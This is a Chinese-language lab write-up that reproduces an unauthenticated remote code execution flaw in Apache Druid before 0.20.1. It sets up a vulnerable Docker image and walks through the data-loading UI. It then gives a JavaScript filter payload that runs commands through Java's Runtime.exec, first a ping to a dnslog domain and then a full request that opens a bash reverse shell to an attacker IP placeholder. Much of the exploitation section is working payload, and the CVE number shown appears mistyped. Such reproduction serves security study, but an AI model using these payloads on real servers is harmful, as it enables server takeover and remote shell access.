漏洞介绍
漏洞描述
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。由于Apache Druid 默认情况下缺乏授权认证,攻击者可直接构造恶意请求执行任意代码,控制服务器,风险极大。
漏洞编号
CVE-2019-25646
影响版本
Apache Druid < 0.20.1
安全建议
升级至安全版本及其以上。
环境搭建
通过docker拉取漏洞镜像
docker pull fokkodriesprong/docker-druid
docker ps
docker run -it -p8888:8888 305 //305是容器id前3位
访问 you-ip:8888 访问网页首页查看漏洞环境是否创立成功
漏洞复现
点击 Load data 按钮
点击 Local disk 按钮
在对应的输入框中输入对应的值
Firehose type:local
Base directory:quickstart/tutorial/
File filter:wikiticker-2015-09-12-sampled.json.gz
点击右下角按钮直到 Filter 模块
到达 Filter 模块,点击 Add column filter 按钮
查询内容随便填入后并抓包
将红框中内容替换为 payload 的实现远程命令执行漏洞
"type":"javascript", "function": "function(value){return java.lang.Runtime.getRuntime().exec('ping 7oogjt.dnslog.cn')}" "dimension":"HelloL", "":{ "enabled":"true" }
7oogjt.dnslog.cn是dnslog.cn点击Get SubDomain生成的网址,目的是为了让靶机通过 ping 该网址验证是否进行命令执行
点击 Refesh Record 刷新页面可以看到是否ping通
反弹shell
在服务器中开启nc监听
在原先修改的位置将 exec 中的 ping 命令替换为 bash 脚本进行 getshell
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击者IP/监听端口 0>&1')}", "dimension":"HelloL", "":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"cacheKey":"0b2829fa83c9429cb3ce64da8bfdbf1f"}}